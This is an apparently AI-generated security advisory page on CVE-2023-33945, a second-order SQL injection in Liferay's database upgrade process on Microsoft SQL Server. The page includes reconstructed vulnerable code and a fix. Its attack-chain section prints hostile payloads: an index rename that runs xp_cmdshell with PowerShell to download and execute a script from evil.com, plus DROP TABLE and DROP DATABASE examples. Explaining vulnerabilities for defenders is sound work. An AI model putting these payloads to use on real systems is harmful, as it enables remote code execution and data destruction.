CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2023-33945

The Time-Bomb in the Schema: Liferay DXP Upgrade SQL Injection

Alon Barad
Alon Barad
Software Engineer

Feb 21, 2026·6 min read·43 visits

Executive Summary (TL;DR)

Liferay's upgrade tool blindly trusts database index names. If an attacker renames an index to include SQL commands, the upgrade process executes them with high privileges. It's a logic bomb waiting for patch day.

A high-complexity, second-order SQL injection vulnerability residing within the Liferay Portal/DXP database upgrade process for Microsoft SQL Server. Unlike typical web-based SQLi, this flaw weaponizes the database metadata itself. An attacker with the ability to modify schema identifiers (specifically primary key index names) can plant a payload that executes arbitrary SQL commands when an administrator initiates a system upgrade. This essentially turns the maintenance process into a trigger for Remote Code Execution (RCE).

The Hook: Sabotaging the Blueprints

In the world of web exploitation, we usually look for the front door: a search bar, a login form, or a REST API endpoint that doesn't sanitize input. We throw quotes at it until it breaks. But CVE-2023-33945 is a different breed of beast. It's a sleeper agent. It’s a landmine planted in the very foundation of the building, waiting for the architect to come by for renovations.

This vulnerability targets the Upgrade Process of Liferay DXP and Portal. Think about what happens during an upgrade. The software needs to migrate data, change column types, and drop old constraints. To do this, it has to query the database to understand the current structure. It asks, "Hey, what are the primary keys on this table?"

The vulnerability arises because the developers made a fatal assumption: they assumed the database schema was a "trusted source." They assumed that an index name like PK_Users would always be a safe string. They didn't anticipate that an attacker might have renamed that index to something like PK_Users']; EXEC xp_cmdshell 'calc'; --. When the upgrade tool reads that metadata and tries to drop the index, it unwittingly executes the payload.

The Flaw: Trusting Metadata

The root cause here is a failure to sanitize metadata retrieved from the database before using it in Dynamic SQL. This is a classic Second-Order SQL Injection, specifically targeting the Data Definition Language (DDL) operations.

Here is the logic flow that creates the vulnerability:

  1. Discovery: The Liferay upgrade tool connects to the MSSQL database.
  2. Introspection: It utilizes JDBC or raw SQL queries to fetch a list of existing constraints and indexes. For example, it might call DatabaseMetaData.getPrimaryKeys().
  3. Construction: The application iterates through these results. It sees a Primary Key that needs to be dropped or altered to match the new version's schema.
  4. Execution: It concatenates the retrieved name directly into a DROP CONSTRAINT statement.

The flaw is specific to Microsoft SQL Server (MSSQL) in this context, likely due to how Liferay constructs T-SQL statements for that specific dialect. While other databases might throw syntax errors if you put weird characters in an identifier, MSSQL is happy to oblige if you break out of the identifier context correctly.

The Code: Autopsy of a SQL Injection

Let's look at a reconstruction of the vulnerable logic. This isn't the exact proprietary code, but it represents the pattern used in the affected BaseDB or upgrade classes handling MSSQL interactions.

The Vulnerable Pattern

// 1. Fetch metadata from the DB
ResultSet rs = databaseMetaData.getPrimaryKeys(null, schema, tableName);
while (rs.next()) {
    String pkName = rs.getString("PK_NAME");
    
    // 2. The fatal flaw: String concatenation without escaping
    // The developer assumes pkName is safe because it came from the DB.
    String sql = "ALTER TABLE " + tableName + " DROP CONSTRAINT " + pkName;
    
    // 3. Execute with high privileges
    statement.execute(sql);
}

If pkName contains PK_1]; DROP TABLE Users; --, the resulting SQL becomes:

ALTER TABLE MyTable DROP CONSTRAINT PK_1]; DROP TABLE Users; --

MSSQL sees the semicolon, terminates the ALTER statement (after failing or succeeding depending on syntax nuances), and then cheerfully executes the DROP TABLE command.

The Fix

To fix this, the input must be treated as a literal identifier. In MSSQL, this usually means wrapping the identifier in brackets [] and escaping any closing brackets inside the name.

// Sanitized/Escaped Version
String escapedPkName = pkName.replace("]", "]]"); // Escape existing brackets
String sql = "ALTER TABLE " + tableName + " DROP CONSTRAINT [" + escapedPkName + "]";

By enclosing the name in brackets, the database engine treats the entire string as the identifier, rendering the payload inert.

The Exploit: The Long Con

Exploiting this requires patience and a specific precondition: Schema Modification Access. You generally can't just throw this payload at a login form. You need a way to create or rename an index in the database.

The Attack Chain

Step 1: Initial Access. The attacker needs a foothold. This could be a lower-severity SQL injection elsewhere in the application that allows ALTER TABLE commands, or compromised credentials for a user with ALTER permissions. Let's assume we found a minor SQLi in a reporting module.

Step 2: Planting the Seed. The attacker uses their access to rename a valid Primary Key on a table known to be touched during upgrades (e.g., User_).

-- The payload is injected into the index name itself
EXEC sp_rename 'PK_User_', 'PK_User_']; EXEC xp_cmdshell ''powershell -c IEX(New-Object Net.WebClient).DownloadString("http://evil.com/shell.ps1")''; --';

Step 3: The Waiting Game. The system continues to function normally. The index name is weird, but MSSQL doesn't care. The Liferay application doesn't care... yet.

Step 4: The Trigger. The Liferay administrator decides it's time to patch the server or upgrade from 7.3 to 7.4. They shut down the web server and run the upgrade tool. The tool connects as the database owner (often sa or db_owner for upgrades).

Step 5: Detonation. The upgrade tool scans the User_ table, sees the malicious PK name, tries to drop it to apply a new schema, and accidentally executes the PowerShell command. The attacker now has a shell running with the privileges of the database service (often SYSTEM or Network Service).

The Impact: Why Panic?

You might argue, "If I already have ALTER permissions, don't I already own the database?" Not necessarily.

  1. Privilege Escalation: You might have access to a scoped user who can modify tables but cannot execute xp_cmdshell or access the underlying OS. The upgrade process, however, typically runs with superuser privileges to handle heavy schema changes. By planting this mine, you escalate from "DB User" to "System Administrator" when the upgrade runs.

  2. Persistence: This is an excellent persistence mechanism. Even if the blue team clears the web shells, if they don't audit the database schema names, the next maintenance window re-infects the server.

  3. Data Destruction: A malicious actor could simply set the payload to DROP DATABASE Lportal, wiping the entire system during what was supposed to be a routine update.

Official Patches

LiferayOfficial Security Advisory

Technical Appendix

CVSS Score
6.4/ 10
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.35%
Top 43% most exploited

Affected Systems

Liferay Portal 7.3.1 through 7.4.3.17Liferay DXP 7.3 before Update 6Liferay DXP 7.4 before Update 18Microsoft SQL Server (Database Backend)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Liferay Portal
Liferay
7.3.1 - 7.4.3.177.4.3.18
Liferay DXP
Liferay
7.3 < Update 6Update 6
Liferay DXP
Liferay
7.4 < Update 18Update 18
AttributeDetail
CWE IDCWE-89 (SQL Injection)
Attack VectorNetwork (Second Order)
CVSS6.4 (Medium)
ImpactFull System Compromise / RCE
ContextDatabase Upgrade Process
DatabaseMicrosoft SQL Server Only

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1505.001SQL Stored Procedures
Persistence
CWE-89
SQL Injection

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Vulnerability Timeline

Vulnerability Published by Liferay
2023-05-24
Assigned CVE-2023-33945
2023-05-24
Record Updated
2024-10-22

References & Sources

  • [1]Liferay Security Advisory LPE-17482
  • [2]NVD CVE-2023-33945

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 13 hours ago•GHSA-JHJP-4C2Q-XMX4
8.1

GHSA-JHJP-4C2Q-XMX4: Falco k8saudit Plugin Ruleset Bypass via initContainers and ephemeralContainers

A security feature bypass vulnerability in the Falco k8saudit plugin (and its cloud-specific variants) allowed privileged workloads to run undetected. This bypass occurred because the plugin's default extraction logic and rules only evaluated standard containers, completely omitting initContainers and ephemeralContainers.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 14 hours ago•CVE-2026-61630
4.2

CVE-2026-61630: Time-Based One-Time Password (TOTP) Reuse/Replay in nginx-ignition

nginx-ignition is a web-based user interface for managing the Nginx web server. In versions 2.33.0 through 2.35.0, the application is vulnerable to an improper authentication flaw (CWE-287) in its Multi-Factor Authentication (MFA) implementation. The stateless validation of Time-Based One-Time Passwords (TOTP) allows an attacker to reuse a captured, active verification code multiple times within the standard 30-second validity window, successfully bypassing secondary authentication checks if primary credentials are known.

Amit Schendel
Amit Schendel
9 views•5 min read
•about 15 hours ago•CVE-2026-61629
7.5

CVE-2026-61629: CPU Amplification Denial of Service via ParseAcceptLanguage Underscore Bypass

A vulnerability exists in the i18n middleware of nginx-ignition, enabling CPU amplification attacks. By transmitting a crafted Accept-Language header containing malformed tags separated by underscores, an unauthenticated remote attacker can bypass the length-guard threshold of the underlying Go parsing library. Normalization of underscores to hyphens occurs after the initial validation checks, forcing the parser into expensive quadratic-time loops that consume 100% of available CPU resources. This leads to a complete denial of service for the administrative API and potentially degrades the availability of the hosting system. This vulnerability has been resolved in version 2.40.1.

Alon Barad
Alon Barad
6 views•7 min read
•about 16 hours ago•CVE-2026-61628
8.1

CVE-2026-61628: Unauthenticated Admin Account Creation via Onboarding Race Condition in Nginx Ignition

Nginx Ignition prior to version 2.41.1 contains a Time-of-Check to Time-of-Use (TOCTOU) race condition in its unauthenticated onboarding API endpoint. This flaw allows remote, unauthenticated attackers to register an administrative account by sending concurrent HTTP requests during the initial system configuration phase, bypassing the check meant to restrict onboarding to a single initial administrator.

Amit Schendel
Amit Schendel
8 views•6 min read
•about 22 hours ago•CVE-2026-61687
7.1

CVE-2026-61687: OAuth State Validation Bypass and Login CSRF in Hatchet

A logic error in Hatchet's OAuth state validation mechanism allows unauthenticated remote attackers to bypass state parameter verification. By submitting an empty state parameter, attackers can exploit an equality collision with cleared session keys, facilitating Login Cross-Site Request Forgery (Login CSRF) or Session Fixation.

Amit Schendel
Amit Schendel
10 views•10 min read
•3 days ago•CVE-2026-58197
8.8

CVE-2026-58197: Host Escape and Lateral Movement via Insecure Container Network Defaults in ToolHive

A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.

Amit Schendel
Amit Schendel
12 views•8 min read